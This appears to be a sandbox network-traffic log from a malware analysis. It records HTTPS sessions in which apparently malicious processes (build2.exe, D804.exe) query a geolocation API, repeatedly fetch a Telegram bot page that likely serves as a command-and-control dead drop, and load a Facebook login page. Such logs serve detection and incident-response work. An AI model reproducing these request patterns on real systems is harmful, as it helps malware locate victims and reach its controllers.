2023-05-28 08:43:58 UTC	2278	IN	Data Raw: 43 77 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 69 37 4d 35 34 2f 79 78 2f 6c 2f 65 6e 5f 55 53 2f 4c 73 52 5a 65 45 7a 63 64 36 42 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 73 6a 41 6a 6e 44 43 77 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 45 2f 72 2f 79 57 67 36 6d 6b 55 43 6a 59 52 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 Data Ascii: Cw" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3i7M54/yx/l/en_US/LsRZeEzcd6B.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="sjAjnDCw" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yE/r/yWg6mkUCjYR.js?_nc_x=Ij3Wp8lg
2023-05-28 08:43:58 UTC	2280	IN	Data Raw: 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 73 6a 41 6a 6e 44 43 77 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 6f 6e 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 7b 64 69 73 70 6c 61 79 52 65 73 6f 75 72 63 65 73 3a 5b 22 48 4c 54 48 42 46 4f 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 50 75 64 36 42 32 5a 22 2c 22 6d 72 36 51 65 61 78 22 2c 22 45 54 35 31 42 6d 4d 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 73 34 57 30 58 46 2f 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 48 73 64 37 5a 32 56 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 45 78 39 50 4a 72 75 Data Ascii: pt><script nonce="sjAjnDCw">requireLazy(["__bigPipe"],(function(bigPipe){bigPipe.onPageletArrive({displayResources:["HLTHBFO","mdXyUDL","Pud6B2Z","mr6Qeax","ET51BmM","LfFe6kq","9NMF+qx","s4W0XF/","OLUnqzA","9MogwrT","7Z7sy3l","Hsd7Z2V","i1vDKt9","Ex9PJru
2023-05-28 08:43:58 UTC	2281	IN	Data Raw: 66 62 35 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 73 6a 41 6a 6e 44 43 77 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 62 65 66 6f 72 65 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 22 6c 61 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 73 6a 41 6a 6e 44 43 77 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 6f 6e 50 61 67 65 6c 65 74 41 72 Data Ascii: fb5<script nonce="sjAjnDCw">(function(){var n=now_inl();requireLazy(["__bigPipe"],function(bigPipe){bigPipe.beforePageletArrive("last_response",n);})})();</script><script nonce="sjAjnDCw">requireLazy(["__bigPipe"],(function(bigPipe){bigPipe.onPageletAr
2023-05-28 08:43:58 UTC	2282	IN	Data Raw: 45 59 78 6d 36 35 6d 73 4f 44 54 62 65 72 59 31 56 61 4f 4f 47 4d 76 4b 54 6a 32 54 61 61 53 5f 5a 32 6b 68 4e 64 4e 49 5a 72 73 79 4d 5f 48 49 4d 72 53 6f 36 63 65 75 2d 4d 47 49 35 42 61 77 4a 5f 7a 47 46 52 62 31 73 62 75 4e 5f 51 6a 35 57 78 4d 4d 54 6e 64 4d 39 58 62 30 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 30 38 38 35 37 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 32 6e 6b 33 37 6b 62 65 78 6b 54 4e 33 35 72 41 47 6b 44 41 71 34 79 6c 57 6b 39 56 6f 33 37 45 6c 77 64 6f 39 44 41 38 54 78 48 62 58 44 6c 4d 7a 72 49 53 78 46 41 44 71 54 64 2d 44 6e 49 6e 49 43 6d 58 38 4b 75 64 64 4b 75 4f 36 51 70 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 32 39 34 31 35 38 22 2c 5b 22 52 65 61 63 74 2e 63 6c 61 73 73 69 63 22 5d 2c 7b 5f 5f Data Ascii: EYxm65msODTberY1VaOOGMvKTj2TaaS_Z2khNdNIZrsyM_HIMrSo6ceu-MGI5BawJ_zGFRb1sbuN_Qj5WxMMTndM9Xb0"]},-1],["cr:1108857",[],{__rc:[null,"Aa2nk37kbexkTN35rAGkDAq4ylWk9Vo37Elwdo9DA8TxHbXDlMzrISxFADqTd-DnInICmX8KuddKuO6Qpw"]},-1],["cr:1294158",["React.classic"],{__
2023-05-28 08:43:58 UTC	2284	IN	Data Raw: 67 73 34 46 34 67 50 38 72 5f 4d 6a 2d 45 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 32 30 32 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 32 6e 6b 33 37 6b 62 65 78 6b 54 4e 33 35 72 41 47 6b 44 41 71 34 79 6c 57 6b 39 56 6f 33 37 45 6c 77 64 6f 39 44 41 38 54 78 48 62 58 44 6c 4d 7a 72 49 53 78 46 41 44 71 54 64 2d 44 6e 49 6e 49 43 6d 58 38 4b 75 64 64 4b 75 4f 36 51 70 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 37 31 34 37 33 22 2c 5b 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 2c 22 41 61 31 42 39 59 70 57 32 6b 31 6b 50 4c 58 69 35 58 35 31 36 66 43 72 62 6e 75 4f 2d 43 35 2d 52 33 56 52 74 39 38 53 68 5f 6a Data Ascii: gs4F4gP8r_Mj-Ew"]},-1],["cr:11202",[],{__rc:[null,"Aa2nk37kbexkTN35rAGkDAq4ylWk9Vo37Elwdo9DA8TxHbXDlMzrISxFADqTd-DnInICmX8KuddKuO6Qpw"]},-1],["cr:971473",["LayerHideOnTransition"],{__rc:["LayerHideOnTransition","Aa1B9YpW2k1kPLXi5X516fCrbnuO-C5-R3VRt98Sh_j
2023-05-28 08:43:58 UTC	2285	IN	Data Raw: 31 32 66 33 0d 0a 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 72 65 6c 6f 61 64 4f 6e 42 6f 6f 74 6c 6f 61 64 45 72 72 6f 72 3a 74 72 75 65 7d 2c 31 30 36 37 5d 2c 5b 22 63 72 3a 36 39 32 32 30 39 22 2c 5b 22 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 42 6c 75 65 22 2c 22 41 61 31 42 39 59 70 57 32 6b 31 6b 50 4c 58 69 35 58 35 31 36 66 43 72 62 6e 75 4f 2d 43 35 2d 52 33 56 52 74 39 38 53 68 5f 6a 76 6a 38 74 31 4a 4e 57 46 67 44 72 69 37 72 34 45 49 38 6c 7a 53 46 65 79 43 70 74 4b 41 64 72 7a 67 73 34 46 34 67 50 38 72 5f 4d 6a 2d 45 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 32 39 32 33 36 35 22 2c 5b 22 52 65 61 63 74 2d 70 72 6f 64 2e 63 6c 61 73 Data Ascii: 12f3Config",[],{reloadOnBootloadError:true},1067],["cr:692209",["cancelIdleCallbackBlue"],{__rc:["cancelIdleCallbackBlue","Aa1B9YpW2k1kPLXi5X516fCrbnuO-C5-R3VRt98Sh_jvj8t1JNWFgDri7r4EI8lzSFeyCptKAdrzgs4F4gP8r_Mj-Ew"]},-1],["cr:1292365",["React-prod.clas
2023-05-28 08:43:58 UTC	2286	IN	Data Raw: 6c 55 70 64 61 74 65 3a 66 61 6c 73 65 2c 73 68 6f 75 6c 64 4c 6f 67 52 65 73 6f 75 72 63 65 50 65 72 66 3a 66 61 6c 73 65 7d 2c 33 39 37 37 5d 2c 5b 22 57 65 62 53 74 6f 72 61 67 65 4d 6f 6e 73 74 65 72 4c 6f 67 67 69 6e 67 55 52 49 22 2c 5b 5d 2c 7b 75 72 69 3a 22 2f 61 6a 61 78 2f 77 65 62 73 74 6f 72 61 67 65 2f 70 72 6f 63 65 73 73 5f 6b 65 79 73 2f 3f 73 74 61 74 65 3d 31 22 7d 2c 33 30 33 32 5d 2c 5b 22 42 72 6f 77 73 65 72 50 61 79 6d 65 6e 74 48 61 6e 64 6c 65 72 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 65 6e 61 62 6c 65 64 3a 66 61 6c 73 65 7d 2c 33 39 30 34 5d 2c 5b 22 54 69 6d 65 53 70 65 6e 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 64 65 6c 61 79 3a 31 30 30 30 2c 74 69 6d 65 6f 75 74 3a 36 34 2c 22 30 5f 64 65 6c 61 79 22 3a 30 2c 22 30 5f 74 69 6d Data Ascii: lUpdate:false,shouldLogResourcePerf:false},3977],["WebStorageMonsterLoggingURI",[],{uri:"/ajax/webstorage/process_keys/?state=1"},3032],["BrowserPaymentHandlerConfig",[],{enabled:false},3904],["TimeSpentConfig",[],{delay:1000,timeout:64,"0_delay":0,"0_tim
2023-05-28 08:43:58 UTC	2288	IN	Data Raw: 36 30 2c 66 64 61 3a 36 30 2c 69 3a 36 30 2c 73 62 73 3a 31 2c 64 62 73 3a 31 30 30 2c 62 62 73 3a 31 30 30 2c 68 62 69 3a 36 30 2c 72 74 3a 32 36 32 31 34 34 2c 68 62 63 62 63 3a 32 2c 68 62 76 62 63 3a 30 2c 68 62 62 69 3a 33 30 2c 73 69 64 3a 2d 31 2c 68 62 76 3a 22 36 30 34 31 38 38 38 39 31 37 36 33 34 33 34 39 39 39 30 22 7d 5d 5d 2c 5b 22 4e 61 76 69 67 61 74 69 6f 6e 4d 65 74 72 69 63 73 22 2c 22 73 65 74 50 61 67 65 22 2c 5b 5d 2c 5b 7b 70 61 67 65 3a 22 58 57 65 62 4c 6f 67 69 6e 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 70 61 67 65 5f 74 79 70 65 3a 22 6e 6f 72 6d 61 6c 22 2c 70 61 67 65 5f 75 72 69 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 Data Ascii: 60,fda:60,i:60,sbs:1,dbs:100,bbs:100,hbi:60,rt:262144,hbcbc:2,hbvbc:0,hbbi:30,sid:-1,hbv:"6041888917634349990"}]],["NavigationMetrics","setPage",[],[{page:"XWebLoginController",page_type:"normal",page_uri:"https://www.facebook.com/login.php?next=https%3A%
2023-05-28 08:43:58 UTC	2289	IN	Data Raw: 4f 58 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 6e 63 3a 31 7d 2c 4f 37 6b 4e 4e 50 38 3a 7b 74 79 70 65 3a 22 6a 73 22 2c 73 72 63 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 49 2f 72 2f 49 62 39 30 76 63 56 78 59 7a 49 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 6e 63 3a 31 7d 7d 7d 7d 2c 61 6c 6c 52 65 73 6f 75 72 63 65 73 3a 5b 22 7a 50 59 6c 54 79 6c 22 2c 22 4f 37 6b 4e 4e 50 38 22 2c 22 72 54 38 4d 6d 58 38 22 2c 22 75 71 4d 62 53 6f 4e 22 2c 22 6a 32 75 76 58 77 54 22 2c 22 50 72 68 75 69 47 56 22 2c 22 66 6e 78 50 67 77 2f 22 2c 22 71 4c 30 45 58 44 67 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 39 4e 4d 46 2b 71 78 Data Ascii: OX.js?_nc_x=Ij3Wp8lg5Kz",nc:1},O7kNNP8:{type:"js",src:"https://static.xx.fbcdn.net/rsrc.php/v3/yI/r/Ib90vcVxYzI.js?_nc_x=Ij3Wp8lg5Kz",nc:1}}}},allResources:["zPYlTyl","O7kNNP8","rT8MmX8","uqMbSoN","j2uvXwT","PrhuiGV","fnxPgw/","qL0EXDg","LfFe6kq","9NMF+qx

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	50024	149.154.167.99	443	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:44:00 UTC	2289	OUT	GET /looking_glassbot HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me Cookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
2023-05-28 08:44:00 UTC	2290	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 28 May 2023 08:44:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12466 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-05-28 08:44:00 UTC	2290	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6c 6f 6f 6b 69 6e 67 5f 67 6c 61 73 73 62 6f 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @looking_glassbot</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){win

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	50031	149.154.167.99	443	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:44:05 UTC	2302	OUT	GET /looking_glassbot HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me Cookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
2023-05-28 08:44:05 UTC	2302	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 28 May 2023 08:44:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12469 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-05-28 08:44:05 UTC	2303	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6c 6f 6f 6b 69 6e 67 5f 67 6c 61 73 73 62 6f 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @looking_glassbot</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){win

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49724	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:42:55 UTC	569	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:42:55 UTC	569	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:42:55 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:42:55 UTC	569	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49729	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:42:58 UTC	570	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:42:58 UTC	570	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:42:58 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:42:58 UTC	570	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49728	149.154.167.99	443	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:42:59 UTC	571	OUT	GET /looking_glassbot HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me
2023-05-28 08:42:59 UTC	571	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 28 May 2023 08:42:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12469 Connection: close Set-Cookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311; expires=Mon, 29 May 2023 08:42:59 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-05-28 08:42:59 UTC	572	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6c 6f 6f 6b 69 6e 67 5f 67 6c 61 73 73 62 6f 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @looking_glassbot</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){win

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49732	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:42:59 UTC	584	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:00 UTC	584	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:00 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:00 UTC	584	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49733	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:00 UTC	585	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:00 UTC	585	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:00 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
